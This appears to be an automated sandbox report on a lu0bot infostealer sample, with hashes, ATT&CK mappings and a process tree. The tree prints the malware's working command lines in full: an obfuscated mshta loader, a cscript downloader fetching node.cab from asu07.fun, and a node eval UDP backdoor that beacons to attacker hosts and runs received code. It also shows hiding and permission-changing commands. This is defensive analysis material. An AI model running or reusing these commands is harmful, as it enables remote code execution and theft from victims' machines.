lu0bot | db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0

Analysis

max time kernel
150s
max time network
152s
platform
windows10_x64
resource
win10v20210410
submitted
04-08-2021 12:07

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General

Target

db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe
Size

3KB
MD5

172da997f8be4c8d0318a322c8ee806e
SHA1

224d3e925800815e792af3a28f8d2dffb9c21e70
SHA256

db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0
SHA512

75e85d44f076dee7505389284609ab4b138d676d777e3ebfe37e11053b293b7f5d91cfb66a4304539fb41c91db74c79ec93d262cbe1e908ffd5f530be4475ca4

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	1200	mshta.exe
10	2636	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3120	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2476	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
2444	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
3976	netstat.exe
1492	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
796	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\f1c64a0fe0ce414e:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:efab21d9e4ba60128690b38dbef27de7	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3120	node.exe
3120	node.exe
3120	node.exe
3120	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	2444	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3944	wmic.exe
Token: SeSecurityPrivilege	3944	wmic.exe
Token: SeTakeOwnershipPrivilege	3944	wmic.exe
Token: SeLoadDriverPrivilege	3944	wmic.exe
Token: SeSystemProfilePrivilege	3944	wmic.exe
Token: SeSystemtimePrivilege	3944	wmic.exe
Token: SeProfSingleProcessPrivilege	3944	wmic.exe
Token: SeIncBasePriorityPrivilege	3944	wmic.exe
Token: SeCreatePagefilePrivilege	3944	wmic.exe
Token: SeBackupPrivilege	3944	wmic.exe
Token: SeRestorePrivilege	3944	wmic.exe
Token: SeShutdownPrivilege	3944	wmic.exe
Token: SeDebugPrivilege	3944	wmic.exe
Token: SeSystemEnvironmentPrivilege	3944	wmic.exe
Token: SeRemoteShutdownPrivilege	3944	wmic.exe
Token: SeUndockPrivilege	3944	wmic.exe
Token: SeManageVolumePrivilege	3944	wmic.exe
Token: 33	3944	wmic.exe
Token: 34	3944	wmic.exe
Token: 35	3944	wmic.exe
Token: 36	3944	wmic.exe
Token: SeIncreaseQuotaPrivilege	3944	wmic.exe
Token: SeSecurityPrivilege	3944	wmic.exe
Token: SeTakeOwnershipPrivilege	3944	wmic.exe
Token: SeLoadDriverPrivilege	3944	wmic.exe
Token: SeSystemProfilePrivilege	3944	wmic.exe
Token: SeSystemtimePrivilege	3944	wmic.exe
Token: SeProfSingleProcessPrivilege	3944	wmic.exe
Token: SeIncBasePriorityPrivilege	3944	wmic.exe
Token: SeCreatePagefilePrivilege	3944	wmic.exe
Token: SeBackupPrivilege	3944	wmic.exe
Token: SeRestorePrivilege	3944	wmic.exe
Token: SeShutdownPrivilege	3944	wmic.exe
Token: SeDebugPrivilege	3944	wmic.exe
Token: SeSystemEnvironmentPrivilege	3944	wmic.exe
Token: SeRemoteShutdownPrivilege	3944	wmic.exe
Token: SeUndockPrivilege	3944	wmic.exe
Token: SeManageVolumePrivilege	3944	wmic.exe
Token: 33	3944	wmic.exe
Token: 34	3944	wmic.exe
Token: 35	3944	wmic.exe
Token: 36	3944	wmic.exe
Token: SeDebugPrivilege	3976	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 1200	2388	db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe	74
PID 2388 wrote to memory of 1200	2388	db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe	74
PID 2388 wrote to memory of 1200	2388	db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe	74
PID 1200 wrote to memory of 796	1200	mshta.exe	77
PID 1200 wrote to memory of 796	1200	mshta.exe	77
PID 1200 wrote to memory of 796	1200	mshta.exe	77
PID 796 wrote to memory of 2636	796	cmd.exe	79
PID 796 wrote to memory of 2636	796	cmd.exe	79
PID 796 wrote to memory of 2636	796	cmd.exe	79
PID 796 wrote to memory of 296	796	cmd.exe	80
PID 796 wrote to memory of 296	796	cmd.exe	80
PID 796 wrote to memory of 296	796	cmd.exe	80
PID 796 wrote to memory of 3324	796	cmd.exe	81
PID 796 wrote to memory of 3324	796	cmd.exe	81
PID 796 wrote to memory of 3324	796	cmd.exe	81
PID 3324 wrote to memory of 3120	3324	cscript.exe	82
PID 3324 wrote to memory of 3120	3324	cscript.exe	82
PID 3324 wrote to memory of 3120	3324	cscript.exe	82
PID 3120 wrote to memory of 4020	3120	node.exe	86
PID 3120 wrote to memory of 4020	3120	node.exe	86
PID 3120 wrote to memory of 4020	3120	node.exe	86
PID 3120 wrote to memory of 2396	3120	node.exe	87
PID 3120 wrote to memory of 2396	3120	node.exe	87
PID 3120 wrote to memory of 2396	3120	node.exe	87
PID 3120 wrote to memory of 2476	3120	node.exe	88
PID 3120 wrote to memory of 2476	3120	node.exe	88
PID 3120 wrote to memory of 2476	3120	node.exe	88
PID 3120 wrote to memory of 1364	3120	node.exe	89
PID 3120 wrote to memory of 1364	3120	node.exe	89
PID 3120 wrote to memory of 1364	3120	node.exe	89
PID 3120 wrote to memory of 1220	3120	node.exe	90
PID 3120 wrote to memory of 1220	3120	node.exe	90
PID 3120 wrote to memory of 1220	3120	node.exe	90
PID 3120 wrote to memory of 2444	3120	node.exe	92
PID 3120 wrote to memory of 2444	3120	node.exe	92
PID 3120 wrote to memory of 2444	3120	node.exe	92
PID 3120 wrote to memory of 3944	3120	node.exe	93
PID 3120 wrote to memory of 3944	3120	node.exe	93
PID 3120 wrote to memory of 3944	3120	node.exe	93
PID 3120 wrote to memory of 1492	3120	node.exe	94
PID 3120 wrote to memory of 1492	3120	node.exe	94
PID 3120 wrote to memory of 1492	3120	node.exe	94
PID 3120 wrote to memory of 3748	3120	node.exe	95
PID 3120 wrote to memory of 3748	3120	node.exe	95
PID 3120 wrote to memory of 3748	3120	node.exe	95
PID 3120 wrote to memory of 3976	3120	node.exe	96
PID 3120 wrote to memory of 3976	3120	node.exe	96
PID 3120 wrote to memory of 3976	3120	node.exe	96
PID 3120 wrote to memory of 796	3120	node.exe	97
PID 3120 wrote to memory of 796	3120	node.exe	97
PID 3120 wrote to memory of 796	3120	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1364	attrib.exe
1220	attrib.exe

C:\Users\Admin\AppData\Local\Temp\db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe
"C:\Users\Admin\AppData\Local\Temp\db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();159;y=unescape('%361%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E2%31').split('~');56;try{x='WinHttp';176;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);251;x.send();120;y='ipt.S';132;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);32;}catch(e){};239;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628078857941.txt & cscript /nologo /e:jscript get1628078857941.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F27d7cb795%26b%3D27d6cd41" node.cab & expand node.cab node.exe & del get1628078857941.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628078857941.txt & cscript /nologo /e:jscript get1628078857941.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%277d7cb795%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628078857941.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:796
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628078857941.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F27d7cb795%26b%3D27d6cd41" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2636
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:296
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628078857941.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%277d7cb795%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3324
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%277d7cb795%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3120
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:4020
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:2396
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:2476
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:1364
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:1220
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2444
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3944
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:1492
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:3748
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:3976
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:796

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3120-128-0x000000002C900000-0x000000002C901000-memory.dmp

Filesize
4KB

Download
memory/3120-130-0x000000000E400000-0x000000000E401000-memory.dmp

Filesize
4KB

Download
memory/3120-127-0x0000000005300000-0x0000000005301000-memory.dmp

Filesize
4KB

Download
memory/3120-125-0x000000003F400000-0x000000003F401000-memory.dmp

Filesize
4KB

Download
memory/3120-129-0x0000000004700000-0x0000000004701000-memory.dmp

Filesize
4KB

Download
memory/3120-126-0x0000000004900000-0x0000000004901000-memory.dmp

Filesize
4KB

Download